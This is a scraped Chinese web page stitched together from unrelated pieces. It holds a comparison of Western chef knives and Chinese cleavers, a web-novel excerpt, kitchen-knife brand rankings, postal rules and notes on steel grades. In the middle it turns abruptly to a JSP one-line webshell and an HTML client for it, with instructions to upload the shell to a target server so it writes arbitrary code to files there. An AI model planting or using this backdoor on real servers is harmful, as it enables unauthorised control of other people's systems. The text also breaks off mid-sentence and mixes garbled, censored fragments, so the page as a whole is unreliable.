下面以双方对比的优劣来回答。
西式主厨刀
优：
轻便、便携、颜值高。因为刀型的原因，比中式菜刀要有线条感且轻便，很多妹子喜欢用西式厨师刀完全是因为觉得中式菜刀看起来笨重，而西式菜刀有线条美感且看起来用起来不费力。
快。西式主厨刀可以用rocking的方法快速处理食材，这种速度是中式菜刀的那种“一刀一下”的切法达不到的。
好保养。西式主厨刀不好磨，但是好保养。隔一段时间用磨刀棒抡几下即可！
劣：
切出的东西乱。刀是弯刀，切出的东西当然乱了！你也能用它切出形状整齐的食材，不过就是很费劲儿……
难以上手。西式主厨刀是“难学易精”，需要一定的学习才能上手，但一旦上手之后就很容易处理各种食材，完成各种（西厨）工作。
贵。啊……其实是进口的刀具品牌都贵一些，国外也不是所有人都用这些昂贵的菜刀，只是那些国外的便宜菜刀一般也不进口……国产品牌也基本都卖西式主厨刀，也都比较平价。这里的“贵”是我想说：有太多的贵的、性价比低的选择。
锻造有难度。弯刀自然更难锻造啦……
不适合中国人的厨房。最后的结论有提，这里就不讲了。
中式菜刀
优：
切出的东西方正、整齐。
便宜。国产刀具一般价格都比较实惠。
耐用。我不推荐大家不洗刀，但……老一辈都是不洗刀的……以现代观点来看，这样很不卫生。我只是想说，即使很多老前辈们不洗刀，只用湿布擦，这样的菜刀照样好使！耐 *** NO#1！
重。我认为重量即是优点也是缺点，优点是切食材很容易，不像西式主厨刀需要刀法，中式菜刀所有东西都可以一个字：剁！这一点对于小白来说比较友好。
可以使用更多的技术。由于形制的原因，中式菜刀能使用更多刀法来完成更多样的工作。
容易锻造，方便大批量生产。曾经看过一个视频，某金门刀厂不到一分钟就能打造一把菜刀！
容易研磨。刀比较平，对于不太会磨刀的人来说这种刀比较容易上手，但对于研磨高手来说，反而会觉得中式菜刀刀身又大又重比较累人。
劣：
慢。没有西式主厨刀快，上文有提。
重。重的缺点就是使用久了会让手臂更累，西式主厨刀更容易用上身的重量压在食材上，中式菜刀一般是用刀身和手臂的重量来压在食材上。在长期 *** 作中，中式菜刀会让手臂更累，而西式主厨刀会连着肩膀都累。我这里认为中式菜刀这一点是“劣“，是因为我认为单独手臂痉挛是让人更难受的一种劳损。
难以精通。中式菜刀是：“易学难精”，比较容易上手但想达到高水平需要非常多的练习。
总结
西厨经常需要一边在锅里加热食材，一边快速地把菜切好。一边切、一边煮、一边放食材进锅里，大部分的菜都不在乎食材是否做成一样的形状（当然，大小是有要求的，但形状没有那么严格地要求）。反观中厨，我们都基本上是切墩、备菜，都弄好了再烹调。因为我们对食材的形状要求非常高，很多菜都需要食材保持一样的形状才能达到我们的要求。
最好的例子就是“切丝儿”，西厨基本都是用刨丝器刨丝，除非是像青椒这种不方便刨丝的食材才会选择用刀来切。反观中厨，很多菜都需要切要求用刀来切丝。中餐需要各种切法来处理食材，中式菜刀是应这种需求而诞生的！据传我国宋代时菜刀形制是和西式主厨刀类似的，后来为了适应逐渐变革的菜式，菜刀也逐渐演变成了方块儿的大刀片子。
厨具都是为了你的厨房服务的，望大家根据自己的要求来选择厨具。
菜刀 txt全集小说附件已上传到百度网盘，点击免费下载：
内容预览：
菜刀
作者：天涯从此寂寞
1 逃命
更新时间2007-12-31 14:17:00 字数：1598
我从没有想到，我也会重生。
我更没有想到，重生后我会成为一把菜刀。
我最没有想到的是------
我在逃命，光屁股的老道在后紧追不舍。
我承认都是我的错。我实在不该在深更半夜，不经通报，随便到人家府上串门。
我承认都是好奇惹得祸。在听到那销魂蚀骨，荡心媚魄的声音后，未经买票就去私自观摩。
我承认都是轻率犯的错。虽然，俺对那老道的激情，技巧以至体力都是佩服的五体投地，可实在是不该在一个错误的地点，对一个错误的对象，发出一声错误的赞叹。
不管是谁的错，不管是谁惹得祸，逃命才是我要做的事。
我早就该想到，一个能在床上坚持六个时辰的人，体力如何能够不好，耐力怎会不强。可我怎么也不会想到，连我这个铜筋铁骨的人都已精辟历尽，那老道在光屁股的情况下竟然犹有余力。
要知道，俺可是公认的非人级逃命高手。难道，这老道就是传说中的超人？
没办法只能使绝招了。
我身上刀光一盛，已现出原形。
一柄刀，一柄菜刀。一柄天上地下，独一无二的刀，菜刀。
我确信，当我现出原形后，这世上还能追得上我的，一只手就可以数过来。可当俺狂飙过高山三五座，大河两三条后，回身一看，那老道不但追了上来，就连光着的屁股都裹在了道袍里。
再回头，我心中那个郁闷，太卑鄙，太无耻了。那老道站在飞剑上，正悠哉……
说了这么多废话，本文的目的是什么呢？其实只是想记录一下JSP几种后门代码啦，因为曾经找JSP菜刀马找的老辛苦了。
1、首先是JSP一句话木马和它的客户端小伙伴。（小伙伴们都惊呆了~~~）
以下是服务端，保存成onejsp并上传至目标服务器中。
<%if(requestgetParameter("f")!=null)(new javaioFileOutputStream(applicationgetRealPath("")+requestgetParameter("f")))write(requestgetParameter("t")getBytes());%>
通过使用一句话木马客户端连接onejsp木马。
将下列代码保存为html页面：
<html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名：<input name=f size=30 value=shelljsp><input type=button onclick="javascript:getaction=documentgeturlvalue;getsubmit()" value=提交> </form> <br>服务端代码：<br><textarea rows=5 cols=120><%if(requestgetParameter("f")!=null)(new javaioFileOutputStream(applicationgetRealPath("\")+requestgetParameter("f")))write(requestgetParameter("t")getBytes());%> </textarea> </div></body>
保存完成后，打开html页面，写入一句话木马服务端地址，例如>问题一:什么牌子的菜刀比较好？先不说国货。再说进口产品，德国产品，wmf，绝对的王者！我们来说说zzzzZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ问题二:什么牌子的菜刀好？菜刀十大品牌排行榜中确实没有具体说什么品牌好，但是你可以根据我下面的介绍来选择鉴定:1锻造技术:这主要是继承了重庆大足使用的五代刀，如“邓嘉刀”，是锻造刀具的龙头。锻刀的特点是锋利耐用好用，缺点是外观不新颖时尚，实用性强。2下料工艺:这是直接用机器对钢材进行冷轧，然后切割制成刀。因为机器成型，外观更好，产量大，但它的缺点是钝用后不容易磨，很快磨成废品的几率高。这主要是广东阳江的名牌，比如十八子，乖巧媳妇。3材质:目前菜刀的主流材质有3cr13、4CR13、5cr15mov、9cr15mov。含碳量越高，硬度越高，加工难度越大，菜刀越锋利耐用。根据以上几个方面，慢慢找好的品牌就行了。问题三:什么牌子的菜刀好用？金门菜刀。1958年到1979年间，中国人民用sld和炮d轰炸金门；20年间，超过100万枚炮d落在金门。炮击前期使用爆炸sld；后期使用非爆炮d，是金门菜刀的主要材料。炮战结束后，李金和钢刀店老板吴军买下岛上废弃的d壳，用来锻造刀具。由于外壳外壳钢材质量优异，用其制作的菜刀特别锋利耐用，具有中韧外刚的特点，即使切割硬物也不易变形，使金门菜刀在台湾省岛内远近闻名。为了防止假货混入，刀厂首创了开指定外壳制刀。问题四:什么牌子的菜刀最好用？所有的菜刀新的时候都是又快又锋利的，但是你会发现很多不锈钢菜刀用了一段时间就钝了，反而不好磨了。其实菜刀的锋利在于以下几点，大家可以参考一下:1材料:目前菜刀的主要材料有:2cr13、3cr13、4cr13、5cr15mov、8cr15mov、9cr15mov、vg10等。它们的含碳量逐渐增加，加工淬火后的硬度也随之增加，而锋利度必然随着硬度的增加而增加，而它们所含的稀有元素铬是防腐蚀最重要的元素。就说到这里吧。2、工艺:另一个决定因素是菜刀的加工工艺。目前市场上主要有两种加工技术，一种是冷轧，一种是红热锻，称为锻造技术。(1)冲压:冷轧刀是指将钢材直接在轧机上冲压、轧制成刀形，并在开口处抛光而成的成品刀。这种刀优点是外观好，机器成型批量生产速度快，缺点是刀不耐用，钝了之后不容易磨，刀背和刀堂厚度基本没有区别，导致无法磨刀。(2)锻造:这种工艺是传统手工制铁刀衍生于现在的机械和人工的产物。原来的锻刀都是手工锻造的，但是产量低，外观太丑。虽然好用，但是会逐渐被淘汰。所以现在都是人工和现代高科技机器制造，关键岗位是人工，其他地方用机器。此刀外观虽不及整机，但有以下优点:背厚，堂空，口薄，锋利锋利。如果你想要锋利，我建议你去看“邓嘉刀”。他们的刀主要是锻造的菜刀，我用的还不错。还有“王麻子”等其他传统菜刀，不建议冲压，但也有“十八子”“巧媳妇”等几个大牌子。如果真的要用，可以选择大品牌，至少保证一点。问题五:什么牌子的菜刀最锋利？比如苏泊尔、巧妇、王麻子、张小泉、阿斯特等。国产的双立人，WMF，欧美的三叉戟，日本的亚赛尔旗下的温岚餐厅，高村左，东次郎，吉司。但各家的刀分三六等，质量参差不齐。刀好不好，看个人习惯。有人喜欢中国菜刀，有人喜欢日本配菜，有人喜欢西方厨师刀，有人喜欢日本牛刀。三德刀也是不错的选择。就质量而言，手工制作的产品比流水线，钢夹或包钢工艺的要好。钢有很多种。总的来说，进口钢一般比国产钢好。VG10、白纸、绿纸等日系钢比德系钢硬，硬度在60以上，但韧性不好，且脆易裂。所以大部分使用日钢作为刀刃的刀具都需要使用钢夹或者钢包工艺(菜刀多为钢夹工艺)来提高刀刃的韧性，降低成本，其特点是极磨。缺点是刀片容易崩刃。德系钢硬度也不错，一般在56-58左右，多为钼钒不锈钢，最具代表性的是14116，耐腐蚀性好，容易处理。缺点是硬度不够，刀片容易磨损，需要经常磨刀。当然，还有一种新型钢叫粉末冶金钢，以日产SG2为代表，硬度高，韧性好，但价格相当高。在选择国产刀具的时候，最重要的是看刀刃和刀刃所用的钢种。只有好钢和好技术才能做出好刀。如果要选尖刀，最好的选择是芯钢采用日本钢，其中VG10俗称V金，其次是白纸和绿纸，上品是粉处理钢。问题6:哪个牌子的菜刀最好？？一把好的菜刀，要看哪些刀比较出名。分别是阳江十八子、双立人、山特维克、三菱三菱、京瓷、赛科。都很不错，在市场上有很高的知名度。很多人买。我自己家是阳江十八子做的，非常好用。用了快十年了，质量很好。如果想参考更多品牌，可以。问题7:什么牌子的菜刀好？盛达十大刀具品牌排名。(1983年广东省著名商标，广东省著名品牌，知名专业工具制造商，极具竞争力的工具品牌，广东盛达实业集团有限公司)聪明的妻子工具(广东省著名商标、广东省名牌产品、高新技术企业、刀剪厨具国内知名品牌、阳江市侨福厨业有限公司)银鹰(创建于1979年，广东省名牌产品，广东省著名商标，高新技术企业，十大工具品牌之一，广东尹莹实业集团有限公司)永光威科(创建于1956年，是中国驰名商标、广东省著名商标、广东省名牌产品、十大工具品牌之一，广东永光刀剪集团有限公司)苏泊尔苏泊尔(中国驰名商标，高新技术企业，浙江省著名商标，全球最大的R&D炊具制造商之一，浙江苏泊尔有限公司)菲斯勒(成立于1845年的德国超级品牌，世界著名锅厨具制造商之一，大型跨国公司菲什勒贸易(上海)有限公司)全字牌(自1663年中国驰名商标，中国老字号，国家级非物质文化遗产，刀剪行业领导品牌，上海张小泉刀剪总公司)AsdaASD(创建于1987年，中国驰名商标、中国著名商标、浙江省高新技术企业、浙江省著名商标、浙江阿斯达电气有限公司)十八子座(创建于1983年，中国驰名商标，广东省著名商标，国家重点高新技术企业，行业领导品牌，阳江十八子集团有限公司)双立人始于1731年的德国，是历史上最古老的商标之一，美甲行业的领导品牌，大型跨国公司，上海双丽人亨克斯有限公司)问题8:什么牌子的菜刀好？好品牌的菜刀可以分为两种:1中国传统菜刀:厚背，空室，锋利易磨。这种菜刀比较好用，一般是传统的锻造菜刀，符合中国人的使用习惯。比如邓嘉的刀就有缺点:做工不够精细，外观不够时尚。2中式西式菜刀:这种菜刀主要产于广东阳江，产量高，外观时尚精致，在国内占有不少市场。缺点是工艺是冲压，钝了用不容易磨，很多钝了就报废了。问题9:中国传统菜刀有没有十大品牌？国产菜刀什么牌子最好用？没有权威排行榜！目前菜刀的生产有两种分类锻造工艺菜刀(传统)和冲压(机制)菜刀。这两种制造商:1锻造工艺:这主要是重庆大足的一家厂家。这种菜刀是手工锻造技术和机器的结合。这种菜刀很实用，但外观设计不足。比较有名的有:邓家道、王麻子等。2冲压冷轧:就是所谓的机制菜刀。这种菜刀容易批量生产，工艺简单，设计先进，做工精细，每把刀基本都能保持同样的质量，但它的缺点是没有锻造菜刀的特点:背厚、空室、口薄、易磨。这把菜刀钝了以后不容易磨。比较有名的有:十八子，乖巧媳妇，二人转
2022年国内外厨刀品牌最新排行榜：
1、新一代王麻子
新一代王麻子诞生于2020年，是王麻子和金辉强强联合的结合体，王麻子创立于1651年，具有优秀的传统工艺，金辉则是双立人，wmf，苏泊尔等著名品牌的生产厂家，也是全国唯一一个刀剪行业出口免验的企业
2、双立人
双立人名扬整个德国，早在1731就以创立，一直专注于锅具、刀剪餐具等领域，靠着精湛工艺和独特理念，获得广大群众认可。
3、张小泉
北有王麻子，南有张小泉。张小泉1663年就已成立，作为传统老牌企业以剪刀闻名天下，作为一个拥有悠久历史的企业，为国内消费者创造了无数的经典产品。
4、十八子作
位于中国刀剪之都广东阳江，创建于1983年，占据国内62%的刀具市场，被誉为“中国第一刀”。
5、邓家刀
1898年重庆成立，生产刀具等产品，靠着先进技术获得广大消费者的认可，成为大量用户的首选品牌之一
6、王麻子
北有王麻子，南有张小泉。始创于清朝顺治八年（1651年），是国内为数不多的有着百年历史的传统老字号。其传统锻制技艺已被国务院确定为国家级非物质文化遗产。
7、苏泊尔
中国压力锅领先企业，质量好价格实惠深受消费者喜爱，中国压力锅标准定制者，国内炊具行业首家上市公司。
8、巧媳妇
中国刀剪行业知名品牌，作为一个高新技术企业，拥有着很高的知名度，囊括五金刀剪和厨房用品的研发制作生产销售于一体
9、楼龙
保温杯国内著名企业，高新技术企业质量有保障，业务范围广泛，涵盖餐饮旅游刀剪杯具等多个领域
10、银鹰
著名刀剪品牌生产商，广东省高新技术企业，专注于剪刀、套刀、厨具、多钳子等产品的研发生产
王麻子作为拥有371年历史的百年品牌，市场也拥有各种各样打着王麻子旗号的商家在贩卖着假冒伪劣产品，选择王麻子厨刀请认准官方旗舰店
可以邮寄。
根据中国邮政关于禁止寄递的物品《管制器具》的目录 ：
1管制刀具：如匕首、三棱刮刀、带有自锁装置的d簧刀（跳刀）、其他相类似的单刃、双刃、三棱尖刀等。
2其他：如弩、催泪器、催泪q、电击器等。
菜刀不属于以上禁止寄递的物品，所以你可以去邮局邮寄。
禁寄物品是指国家法律、法规禁止寄递的物品，主要包括：
（一）各类武器、d药。如q支、子d、炮d、sld、地雷、炸d等。
（二）各类易爆炸性物品。如雷管、炸药、火药、鞭炮等。
（三）各类易燃烧性物品，包括液体、气体和固体。如汽油、煤油、桐油、酒精、生漆、柴油、气雾剂、气体打火机、瓦斯气瓶、磷、硫磺、火柴等。
参考资料：
答案是肯定值得传承下来的。
手工作品流传和发展的历史悠久，这是人类智慧的结晶，不能够随意的丢弃。
1、高科技的产品并无法替代所有的手工艺品。机器化的出现主要是为了某些领域的高精尖或者是量产化，本身来说高科技的出现是顺应了社会的发展，而手工艺产品可以做为独特的文化遗产传承下去也是历史的发展趋势，这两者来说本身是不冲突的。现在的很多手艺为什么会断了传承，主要是源于生存的压力，比如说手工菜刀就是一个比较好的例子，手工菜刀的生产无法量产，并且做工从外观上看可能并没有某些高科技产品那样具备视觉感受，但是就从使用效果来说，手工的不会差于科技菜刀，就从功能来说，手工菜刀是值得传承下去的。
2、将手工菜刀的生产工艺丢弃掉是一种文化浪费。一把菜刀能够“削铁如泥”，只能说明这种菜刀的生产工艺已经堪称非常优秀了，可以不批量生产这种菜刀，而将菜刀做为特定人群的商品是可行的，但是如果让这种生产工艺彻底的被市场所淘汰，是一种浪费，而浪费的主要出发点就是文化传承断了，实在是非常的可惜。
3、怀旧商品未来可能会是一种趋势，现在还不能丢弃掉这种菜刀工艺。如今主流的短视频平台上，会出现大量的怀旧视频，例如老旧游戏、建筑风格、饮食风格等逆潮流的思维，这种视频一旦创作出来，会引起很多人的怀旧情绪。还有一点不得不说，很多地方的夜市也存在在旧货市场，在市场中很多被时代所淘汰的商品依旧是有人去钟爱的，就是各取所需的情况吧了。而手工菜刀只是一时被大家所遗忘了，如果稍加引导和推广，其市场的潜力还是非常大的，就商业价值来看，手工菜刀也是可以传承下去的。
结束语：传统的工艺包含了历史的智慧，意义已经不是一把菜刀了，是一种物质文化，真的不应该断了传承，大家认为呢？评论区中欢迎发表自己的看法。
102cr17mo菜刀很好。102cr17mo菜刀优点如下：1、102Cr17Mo含碳量C-12%这种钢材的抗锈能力不错，是目前用在高档批量刀具市场上的优质不锈钢，其强度及锋利性甚于ATS-34，含铬量高达16-18%，是第二最常用的不锈钢（仅次于ATS-34），是最早被刀匠接受的不锈钢，一直很受欢迎，尤其是在零下处理流程被开发出来后，这种处理加强了钢材的坚韧度。
2、高硬度和较好的耐磨性能，在打磨时，它的缺点是粘性比较大，而且升温很快，但它比任何碳钢都更容易打磨，用手锯切料也容易得多。440C的退火温度很低，硬度通常达到HRC56-58，耐蚀性和韧性都很强，现更广泛应用于手制刀及优质厂制刀具。
3、102Cr17Mo淬火后硬度高，耐蚀性好（有磁性）餐具（刀）、涡轮机叶片淬火后，比440钢硬度升高（有磁性）刀刃、管嘴、阀门、板尺、餐具（剪刀）。
4、102Cr17Mo具有所有不锈钢、耐热钢中最高的硬度。
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）